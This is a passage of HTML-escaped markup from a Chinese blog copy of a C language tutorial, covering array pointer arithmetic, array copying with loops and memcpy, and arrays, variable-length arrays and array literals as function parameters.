class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e39\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%i\\n\u0026#34;\u003c/span\u003e, sum(arr, arr + \u003cspan class=\"number\"\u003e5\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003earr\u003c/code\u003e是数组的起始地址,\u003ccode\u003earr + 5\u003c/code\u003e是结束地址。只要起始地址小于结束地址,就表示还没有到达数组尾部。\u003c/p\u003e\u003cp\u003e反过来,通过数组的减法,可以知道两个地址之间有多少个数组成员,请看下面的例子,自己实现一个计算数组长度的函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e20\u003c/span\u003e, \u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e39\u003c/span\u003e, \u003cspan class=\"number\"\u003e88\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = arr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (*p != \u003cspan class=\"number\"\u003e88\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e p++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%i\\n\u0026#34;\u003c/span\u003e, p - arr); \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,将某个数组成员的地址,减去数组起始地址,就可以知道,当前成员与起始地址之间有多少个成员。\u003c/p\u003e\u003cp\u003e对于多维数组,数组指针的加减法对于不同维度,含义是不一样的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[\u003cspan class=\"number\"\u003e4\u003c/span\u003e][\u003cspan class=\"number\"\u003e2\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 指针指向 arr[1]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003earr + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 指针指向 arr[0][1]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003earr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] + \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003earr\u003c/code\u003e是一个二维数组,\u003ccode\u003earr + 1\u003c/code\u003e是将指针移动到第一维数组的下一个成员,即\u003ccode\u003earr[1]\u003c/code\u003e。由于每个第一维的成员,本身都包含另一个数组,即\u003ccode\u003earr[0]\u003c/code\u003e是一个指向第二维数组的指针,所以\u003ccode\u003earr[0] + 1\u003c/code\u003e的含义是将指针移动到第二维数组的下一个成员,即\u003ccode\u003earr[0][1]\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e同一个数组的两个成员的指针相减时,返回它们之间的距离。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u0026amp;a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* q = \u0026amp;a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, p - q); \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, q - p); \u003cspan class=\"comment\"\u003e// -4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ep\u003c/code\u003e和\u003ccode\u003eq\u003c/code\u003e分别是数组5号位置和1号位置的指针,它们相减等于4或-4。\u003c/p\u003e\u003ch3 id=\"数组的复制\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E7%BB%84%E7%9A%84%E5%A4%8D%E5%88%B6\" class=\"headerlink\" title=\"数组的复制\"\u003e\u003c/a\u003e数组的复制\u003c/h3\u003e\u003cp\u003e由于数组名是指针,所以复制数组不能简单地复制数组名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e b[\u003cspan class=\"number\"\u003e3\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea = b;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的写法,结果不是将数组\u003ccode\u003eb\u003c/code\u003e复制给数组\u003ccode\u003ea\u003c/code\u003e,而是让\u003ccode\u003ea\u003c/code\u003e和\u003ccode\u003eb\u003c/code\u003e指向同一个数组。\u003c/p\u003e\u003cp\u003e复制数组最简单的方法,还是使用循环,将数组元素逐个进行复制。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; N; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a[i] = b[i];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过将数组\u003ccode\u003eb\u003c/code\u003e的成员逐个复制给数组\u003ccode\u003ea\u003c/code\u003e,从而实现数组的赋值。\u003c/p\u003e\u003cp\u003e另一种方法是使用\u003ccode\u003ememcpy()\u003c/code\u003e函数(定义在头文件\u003ccode\u003estring.h\u003c/code\u003e),直接把数组所在的那一段内存,再复制一份。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(a, b, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(b));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,将数组\u003ccode\u003eb\u003c/code\u003e所在的那段内存,复制给数组\u003ccode\u003ea\u003c/code\u003e。这种方法要比循环复制数组成员要快。\u003c/p\u003e\u003ch3 id=\"作为函数的参数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%BD%9C%E4%B8%BA%E5%87%BD%E6%95%B0%E7%9A%84%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"作为函数的参数\"\u003e\u003c/a\u003e作为函数的参数\u003c/h3\u003e\u003ch4 id=\"声明参数数组\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A3%B0%E6%98%8E%E5%8F%82%E6%95%B0%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"声明参数数组\"\u003e\u003c/a\u003e声明参数数组\u003c/h4\u003e\u003cp\u003e数组作为函数的参数,一般会同时传入数组名和数组长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[], \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e7\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e sum = sum_array(a, \u003cspan class=\"number\"\u003e4\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003esum_array()\u003c/code\u003e的第一个参数是数组本身,也就是数组名,第二个参数是数组长度。\u003c/p\u003e\u003cp\u003e由于数组名就是一个指针,如果只传数组名,那么函数只知道数组开始的地址,不知道结束的地址,所以才需要把数组长度也一起传入。\u003c/p\u003e\u003cp\u003e如果函数的参数是多维数组,那么除了第一维的长度可以当作参数传入函数,其他维的长度需要写入函数的定义。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[][\u003cspan class=\"number\"\u003e4\u003c/span\u003e], \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e][\u003cspan class=\"number\"\u003e4\u003c/span\u003e] = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"number\"\u003e8\u003c/span\u003e, \u003cspan class=\"number\"\u003e9\u003c/span\u003e, \u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e11\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e sum = sum_array(a, \u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003esum_array()\u003c/code\u003e的参数是一个二维数组。第一个参数是数组本身(\u003ccode\u003ea[][4]\u003c/code\u003e),这时可以不写第一维的长度,因为它作为第二个参数,会传入函数,但是一定要写第二维的长度\u003ccode\u003e4\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这是因为函数内部拿到的,只是数组的起始地址\u003ccode\u003ea\u003c/code\u003e,以及第一维的成员数量\u003ccode\u003e2\u003c/code\u003e。如果要正确计算数组的结束地址,还必须知道第一维每个成员的字节长度。写成\u003ccode\u003eint a[][4]\u003c/code\u003e,编译器就知道了,第一维每个成员本身也是一个数组,里面包含了4个整数,所以每个成员的字节长度就是\u003ccode\u003e4 * sizeof(int)\u003c/code\u003e。\u003c/p\u003e\u003ch4 id=\"变长数组作为参数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%95%BF%E6%95%B0%E7%BB%84%E4%BD%9C%E4%B8%BA%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"变长数组作为参数\"\u003e\u003c/a\u003e变长数组作为参数\u003c/h4\u003e\u003cp\u003e变长数组作为函数参数时,写法略有不同。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003eint\u003c/span\u003e a[n])\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e7\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e sum = sum_array(\u003cspan class=\"number\"\u003e4\u003c/span\u003e, a);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组\u003ccode\u003ea[n]\u003c/code\u003e是一个变长数组,它的长度取决于变量\u003ccode\u003en\u003c/code\u003e的值,只有运行时才能知道。所以,变量\u003ccode\u003en\u003c/code\u003e作为参数时,顺序一定要在变长数组前面,这样运行时才能确定数组\u003ccode\u003ea[n]\u003c/code\u003e的长度,否则就会报错。\u003c/p\u003e\u003cp\u003e因为函数原型可以省略参数名,所以变长数组的原型中,可以使用\u003ccode\u003e*\u003c/code\u003e代替变量名,也可以省略变量名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e [*])\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e [])\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面两种变长函数的原型写法,都是合法的。\u003c/p\u003e\u003cp\u003e变长数组作为函数参数有一个好处,就是多维数组的参数声明,可以把后面的维度省掉了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 原来的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[][\u003cspan class=\"number\"\u003e4\u003c/span\u003e], \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 变长数组的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003eint\u003c/span\u003e m, \u003cspan class=\"type\"\u003eint\u003c/span\u003e a[n][m])\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003esum_array()\u003c/code\u003e的参数是一个多维数组,按照原来的写法,一定要声明第二维的长度。但是使用变长数组的写法,就不用声明第二维长度了,因为它可以作为参数传入函数。\u003c/p\u003e\u003ch4 id=\"数组字面量作为参数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E7%BB%84%E5%AD%97%E9%9D%A2%E9%87%8F%E4%BD%9C%E4%B8%BA%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"数组字面量作为参数\"\u003e\u003c/a\u003e数组字面量作为参数\u003c/h4\u003e\u003cp\u003eC 语言允许将数组字面量作为参数,传入函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 数组变量作为参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan 